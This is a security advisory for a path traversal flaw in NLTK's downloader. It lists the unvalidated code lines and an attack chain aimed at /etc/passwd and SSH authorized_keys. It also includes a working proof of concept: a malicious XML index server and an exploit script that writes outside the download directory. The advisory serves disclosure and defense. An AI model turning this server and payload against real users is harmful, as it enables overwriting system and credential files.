NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

Description

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

  1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
  2. Arbitrary File Creation: Create arbitrary files
  3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorized_keys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253)

self.filename = os.path.join(subdir, id + ext)
  • subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679)

filepath = os.path.join(download_dir, info.filename)
  • Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687)

os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)
  • Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695)

with open(filepath, "wb") as outfile:
  • Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server
   ↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
   ↓
3. Victim executes: downloader.download('passwd')
   ↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
   ↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
   ↓
6. os.makedirs() creates directory: download_dir + "../../etc"
   ↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
   ↓
8. System file is overwritten!

Impact Scope

  1. System File Overwrite

Reproduction Steps

Environment Setup

  1. Install NLTK
pip install nltk
  1. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server

python3 malicious_server.py

Step 2: Run exploit script

python3 exploit_vulnerability.py

Step 3: Verify results

ls -la /tmp/test_file.zip

Proof of Concept

Malicious Server (malicious_server.py)

#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler

# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")

# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
  <packages>
    <package id="test_file" subdir="../../../../../../../../../tmp" 
             url="http://127.0.0.1:8888/test.zip" 
             size="100" unzipped_size="100" unzip="0"/>
  </packages>
</nltk_data>
"""

# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
    f.write(malicious_xml)

with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
    zf.writestr("test.txt", "Path traversal attack!")

# HTTP Handler
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/malicious_index.xml':
            self.send_response(200)
            self.send_header('Content-type', 'application/xml')
            self.end_headers()
            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/test.zip':
            self.send_response(200)
            self.send_header('Content-type', 'application/zip')
            self.end_headers()
            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, format, *args):
        pass

# Start server
if __name__ == "__main__":
    port = 8888
    server = HTTPServer(("0.0.0.0", port), Handler)
    print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
    print("Press Ctrl+C to stop")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\nServer stopped")

Exploit Script (exploit_vulnerability.py)

#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile

def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
    download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
    print(f"Download directory: {download_dir}")

    # Exploit vulnerability
    from nltk.downloader import Downloader
    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
    downloader.download("test_file", quiet=True)

    # Check results
    expected_path = "/tmp/test_file.zip"
    if os.path.exists(expected_path):
        print(f"\n✗ Exploit successful! File written to: {expected_path}")
        print(f"✗ Path traversal attack successful!")
    else:
        print(f"\n? File not found, download may have failed")

if __name__ == "__main__":
    exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-03-19 12:42:42 UTC
Updated
2026-03-25 18:21:28 UTC
GitHub reviewed
2026-03-19 12:42:42 UTC
NVD published
2026-03-20

EPSS Score

Score Percentile
0.04% 13.30%

CVSS Scores

Base score Version Severity Vector
8.1 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

CWEs

CWE id Name
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip nltk <= 3.9.2

References

cvelogic Threat Intelligence